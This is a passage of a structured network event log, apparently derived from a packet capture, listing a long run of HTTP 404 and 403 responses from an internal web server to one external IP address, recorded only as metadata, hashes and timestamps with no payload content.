          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1703,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256139.261884000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1705",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "403",
            "http.content_length": "279"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-6ddf304e70ca4e825f9279bd",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "5125bf862c72ccb0de89bbd789010efdd11456196c712f9342320c66a8f6fb87",
          "frame_number": 1706,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 279,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 279,
          "timestamp_epoch": "1577256139.529195000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1708",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-885bb1266d965a4a5d0c5e3f",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1709,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256139.796677000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1711",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-b51bf7a08eddb2addc5a06c4",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1712,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256141.280649000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-59076b08eb476a74532686b9",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1714,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256144.577493000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1716",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-781f4b51f561f89005beea2a",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1717,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256144.844950000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1719",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-5e4bbc183850ead58bd3b2c4",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1720,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256145.647944000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1722",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-04f0cb5c1a9a3632ae73c1ad",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1723,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256145.914915000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1725",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-0aaafbe607106385a3278460",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1726,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256150.281316000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1728",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-85fdd24b6bab0759426e3336",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1729,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256150.548785000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1731",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-f50bcb134d7f166cbcfed42b",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1732,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256150.817044000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1734",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-ef53df430cea820e31a90df2",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1735,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256151.084398000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1737",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-ea90bca97612a57a26a39226",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1738,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256155.780601000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1740",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-20727a47c84b42e52c15a389",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1741,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256156.556750000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1743",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-5adb54d0a5a1bb892dad8b3e",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1744,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256156.823958000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1745",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-5e5908a49df9285eff79c42d",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1746,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256158.280592000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1748",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-588e554dfd9ddea671da7037",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1749,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256161.389567000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1751",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-34764b679e176bd4b3fafa80",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1752,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256162.146555000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1754",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-144d3309497a97d21f70a941",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1756,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256165.009489000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1758",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-6d537698aa35681a563ffa8f",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1759,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256169.753964000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1761",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-731096faa37af11b4844766d",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1762,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256170.060435000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1764",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-5aeb32d1ad28153f9f3e4418",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1765,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256173.671224000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1767",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-1d0f12750141c4fd4bf6eed3",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1768,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256173.944106000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1770",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-d70e9629e0e080b407e13353",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1771,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256174.690203000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1773",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58175,
          "event_id": "evt-06226ea0d5e6982818574fbb",
          "src_port": 80,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1774,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256178.780845000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1782",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50940,
          "event_id": "evt-2f17135eedf4748ef9595cbb",
          "src_port": 80,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1784,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256185.801069000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1787",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50940,
          "event_id": "evt-3c6e02b364c806ca524002cd",
          "src_port": 80,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1788,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256187.734422000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1790",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50940,
          "event_id": "evt-b959132387ab5066c1d75e35",
          "src_port": 80,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1791,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256188.035190000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1793",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50940,
          "event_id": "evt-1aded0d96e93a3ccbef769e8",
          "src_port": 80,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1794,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256189.062306000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1796",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50940,
          "event_id": "evt-52196589832c687464dbfdaa",
          "src_port": 80,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1797,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256189.393533000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1799",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50940,
          "event_id": "evt-af764c3c00f59a3fee0a296e",
          "src_port": 80,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1800,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256189.880153000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1811",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52505,
          "event_id": "evt-686eb761301a01b764963246",
          "src_port": 80,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1813,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256195.426952000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1815",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52505,
          "event_id": "evt-d125a23964ad9668c3dd8826",
          "src_port": 80,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1816,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256195.705000000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1818",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52505,
          "event_id": "evt-0cbc3e50f0118a81f01795d7",
          "src_port": 80,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1819,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256195.981499000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1821",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52505,
          "event_id": "evt-1b8d4c1e2a9f377403fe90c7",
          "src_port": 80,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1822,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256196.257804000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1824",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52505,
          "event_id": "evt-bcd0a66a9829d6906005aa03",
          "src_port": 80,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1825,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256198.062044000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1827",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52505,
          "event_id": "evt-80a66845b349e17eb07d4510",
          "src_port": 80,
          "tcp_stream": 57,
          "udp_stream": null,
